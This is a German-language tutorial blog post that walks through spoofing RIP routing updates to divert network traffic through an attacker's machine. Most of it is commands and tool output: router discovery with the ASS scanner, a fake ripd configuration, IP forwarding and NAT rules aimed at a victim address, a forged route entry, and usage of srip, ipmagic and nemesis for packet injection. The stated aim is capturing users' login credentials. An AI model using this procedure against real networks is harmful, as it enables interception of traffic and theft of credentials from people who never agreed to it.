Falsche RIP-Routen.
Oleg Petukhov, Rechtsanwalt im Bereich des Völkerrechts und des Schutzes personenbezogener Daten, Spezialist für Informationstechnik sicherheit, Schutz von Informationen und persönlichen Daten.
Telegramm-Kanal: https://t.me/datenschutzmit
Die Gruppe im Telegramm: https://t.me/datenschutzmit1
Website: https://legascom.ru
E-Mail: online@legascom.ru
#informationssicherheit #informationssicherheit
Das RIP-Protokoll verwendet Port 520 und UDP für den Betrieb. Router «hören" auf den Datenverkehr an diesem Port. Auf diese Weise wird jedes Paket des entsprechenden Formats vom Router akzeptiert und verarbeitet. Wenn die RIP-Authentifizierung nicht verwendet wird oder das Passwort leer ist, kann ein Angreifer falsche Routendaten an diesen Router senden und so den Netzwerkverkehr über die vom Angreifer kontrollierten Knoten umleiten.
Als erstes sollte ein Angreifer seinen Angriff starten, indem er Router identifiziert, die das RIP-Protokoll verwenden. Dies kann auf verschiedene Arten geschehen.
1. Sie können den Verkehr mit einem Sniffer abhören. Alle 30 Sekunden tauschen Router Routeninformationen aus. Der Austausch erfolgt auch, wenn die Topologie geändert wird. Wir haben diesen Angriff bereits in den vorherigen Abschnitten zum Thema ARP-Spoofing implementiert. Ich erinnere Sie nur daran, dass ein Angreifer sich selbst im lokalen Netzwerk befinden muss, um es zu implementieren.
2. Ein Angreifer kann das Netzwerk auch auf Knoten mit geöffnetem UDP-Port 520 scannen.
3. Die beste und oft einzige mögliche Lösung ist die Verwendung eines speziellen Stapelanalysators, der es Ihnen ermöglicht, Aktualisierungen der Routentabellen abzufangen und zu analysieren.
Ein solches spezielles Werkzeug ist ein Dienstprogramm mit dem unkomplizierten Namen ASS (autonomous System scanner). Dieses Dienstprogramm ermöglicht die aktive und passive Suche nach Routern und Routingprotokollen. Während des Scanvorgangs arbeitet der ASS im aktiven Modus, wechselt am Ende in den passiven Modus, der nur den Datenverkehr überwacht. Dieses Dienstprogramm unterstützt nicht nur RIP, sondern auch andere Routingprotokolle, daher werden wir in Zukunft immer wieder darauf zurückkommen.
Hier ist ein Beispiel für die Arbeit im passiven Modus:
root@kali : # ./ass -i eth0
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>;
Phenoelit (http://www.phenoelit.de)
IRPAS build XXXIX
passive listen ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.100 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
Und so arbeitet das Dienstprogramm im aktiven Modus:
root@kali : # ./ass -i eth0 -A -v
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>;
Phenoelit (http://www.phenoelit.de)
IRPAS build XXXIX
Scanning
+ scanning IRDP ...
+ scanning RIv1 ...
+ scanning RIPv2 ...
+ scanning IGRP ...
+ waiting for EIGRP HELLOs (12s) ...
Continuing capture ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.100 (RIPv1 RIPv2 )
RIP1 [ n/a ] 0.0.0.0 (metric 1)
RIP1 [ n/a ] 192.168.0.1 (metric 1)
RIP1 [ n/a ] 192.168.66.9 (metric 1)
RIP1 [ n/a ] 192.168.66.105 (metric 1)
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
Die obigen Beispiele zeigen den abgefangenen Austausch von Routineinformationen zwischen den beiden Routern 192.168.66.100 und 192.168.66.101. Die Authentifizierung wird nicht verwendet, andernfalls würde eine Methode wie md5 angegeben.
Im folgenden Beispiel ist router IP der Zielrouter, dessen Datenverkehr überwacht wird, und mit dem Schlüssel –P wird die Versionsnummer des Protokolls RIP 1 oder 2 angegeben.
root@kali : # ass -v -i eth0 -D <router IP> -P <1 | 2>
Daher haben wir erfolgreich Router identifiziert, die das RIP-Protokoll, seine Version und die Authentifizierungsmethode verwenden. Jetzt können Sie versuchen, einen Angriff durchzuführen. Im einfachsten Fall können Sie den Datenverkehr über Ihren Router umleiten, um die Anmeldeinformationen der Benutzer abzufangen. Dabei vergessen wir nicht die Beschränkung von 15 Routern zwischen zwei beliebigen Knoten im Netzwerk.
Um einen Angriff durchzuführen, müssen Sie zunächst Ihren gefälschten Router konfigurieren und dann Routeninformationen mit benachbarten Routern austauschen.
Dazu müssen Sie die entsprechenden Einstellungen in unserem Router vornehmen. Hier ist ein Beispiel für eine Konfigurationsdatei, die das Protokoll RIP Version 2 und einen Authentifizierungsschlüssel verwendet.
!
! Zebra configuration saved from vty
! 2005/08/12 23:44:33
!
hostname legitimate.ripd
password 8 p@ssw0rd>
enable password 8 Cb/yfFsI.abqs
service advanced-vty
service password-encryption
!
!
key chain dmz_auth
key 1
key-string secret_key
!
interface eth0
description DMZ_network
ip rip authentication mode md5 auth-length old-ripd
ip rip authentication key-chain dmz_auth
!
router rip
version 2
redistribute connected
network 192.168.20.0/24
!
line vty
exec-timeout 30 0
!
Als nächstes müssen Sie den Datenverkehr über Ihren Host weiterleiten. Sie können dies auf folgende Weise tun:
root@kali : # echo 1 > /proc/sys/net/ipv4/ip_forward
Die nächste vorbereitende Aktion besteht darin, die Adressübersetzung mit Network Address Translation (NAT) zu konfigurieren. Dies ist notwendig, damit Pakete, die zu oder von der Maschine des Opfers fahren, ihren Endpunkt erreichen, um es einfach auszudrücken, nicht verloren gehen.
root@kali : # iptables -t nat -A POSTROUTING -o eth0 -s victim_IP -j SNAT --to-source your_IP
Bevor Sie einen Angriff starten, müssen Sie genau festlegen, an welchen Router Sie eine gefälschte RIP-Aktualisierung der Routeninformationen senden möchten. Der Empfänger muss eine Unicast-Adresse und keine Multicast-Adresse sein, da der Angriff in diesem Fall wesentlich leichter zu erkennen ist.
Im nächsten Schritt erstellen Sie einen Eintrag über die Route:
router rip
version 2
default-information originate
neighbor 192.168.20.103
route 192.168.66.9/32
Der Verkehr, der jetzt vom 192.168.77.0/24-Netzwerk zum 192.168.66.9-Rechner gelangt, wird über den Router des Angreifers geleitet.
Nach einer ähnlichen Netzwerkankündigung von 192.168.77.0/24 werden nun neue Routen in den Routingtabellen von RIP angezeigt. Die kürzeste Route ist jedoch immer noch der Weg zwischen zwei legalen Routern. Wenn ein Angreifer jedoch in irgendeiner Weise (z. B. durch «Überschwemmung») einen legalen Kanal außer Betrieb setzen kann, wird der gesamte Datenverkehr durch einen gefälschten Router geleitet.
Betrachten wir zum Abschluss des Themas der gefälschten Routen einige weitere Dienstprogramme, um regelmäßig RIP-Updates zu generieren. Ein Beispiel für ein solches Dienstprogramm ist srip:
root@kali : # srip <RIP version> -n <netmask> <malicious router IP>
<targeted RIP router IP> <destination host or network IP> <metric>
dabei ist <malicious router IP> die Maschine, über die der Datenverkehr umgeleitet werden soll, dh der Host des Angreifers. <destination host or network IP> ist die Adresse, an die die Daten gesendet werden. <metric> ist normalerweise der Wert 1.
Sie können das Dienstprogramm ipmagic aus dem Projekt IP Sorcery verwenden, um RIP-Updates besser zu konfigurieren.
Hier ist ein Beispiel für alle Optionen dieses Dienstprogramms:
root@kali : #./ipmagic
Usage: ./ipmagic [options]
IP: [-is|-id|-ih|-iv|-il|-it|-io|-id|-ip]
-is: source host or address def. 127.0.0.1
-id: source destination or address def. 127.0.0.1
-ih: IP header length def. 5
-iv: IP version def. 4
-il: Time-to-Live def. 64
-it: Type-of-Service def. 0
-io: IP frag offset [(D)on't Fragment|(M)ore Fragments|(F)ragment|(N)one]
-ii: IP packet ID for fragmentation def. 0
-ip: IP protocol [TCP|UDP|ICMP|IP] def. TCP -iO: IP options
<skip>
UDP: [-us|-ud|-ul]
-us: UDP source port def. rand()
-ud: UDP destination port def. 161
-ul: UDP length
RIP: [-uR|-uRc|-uRv]
-uR: Send default RIP packet to port 520
-uRc: RIP command [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA] def. RQ
For a list of RIP commands run program with -h rip
-uRv: RIP version [1|2] def. 2
Note: Entry Tables should be used with response packets[RS|TS|US]
-uRa(1|2|etc.): RIP Entry table Address exmp. -uRa1
-uRn(1|2|etc.): RIP Entry table Netmask, exmp. -uRn2
-uRh(1|2|etc.): RIP Entry table Next Hop, exmp. -uRn(num)
-uRm(1|2|etc.): RIP Entry table Metric
-uRr(1|2|etc.): RIP Entry table Route Tag
-uRe: Add default RIP Entry table to packet
root@kali : #./ipmagic -h rip
RIP Commands [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA]
RS: Response Packet
RQ: Request Packet
TN: Trace On
TF: Trace Off
SR: Sun Reserved
TQ: Triggered Request
TR: Triggered Response
TA: Triggered Acknowledgement
UQ: Update Request
UR: Update Response
UA: Update Acknowledgment
Schließlich ist Nemesis ein weiteres nützliches Werkzeug für Angriffe auf das RIP-Routingprotokoll. Der Satz von Optionen für dieses Dienstprogramm ist ebenfalls ziemlich reich.
root@kali : # nemesis rip help
RIP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)
RIP usage:
rip [-v (verbose)] [options]
RIP options:
-c <RIP command>
-V <RIP version>
-r <RIP routing domain>
-a <RIP address family>
-R <RIP route tag>
-i <RIP route address>
-k <RIP network address mask>
-h <RIP next hop address>
-m <RIP metric>
-P <Payload file>
UDP options:
-x <Source port>
-y <Destination port>
IP options:
-S <Source IP address>
-D <Destination IP address>
-I <IP ID>
-T <IP TTL>
-t <IP TOS>
-F <IP fragmentation options>
-F[D],[M],[R],[offset]
-O <IP options file>
Data Link Options:
-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>
Der wesentliche Nachteil der oben beschriebenen Tools besteht darin, dass sie nicht in der Lage sind, RIP-Pakete mithilfe der Authentifizierung zu senden. Der Ausweg könnte ein Authentifizierungs-Hack sein, aber wir werden später darüber sprechen.




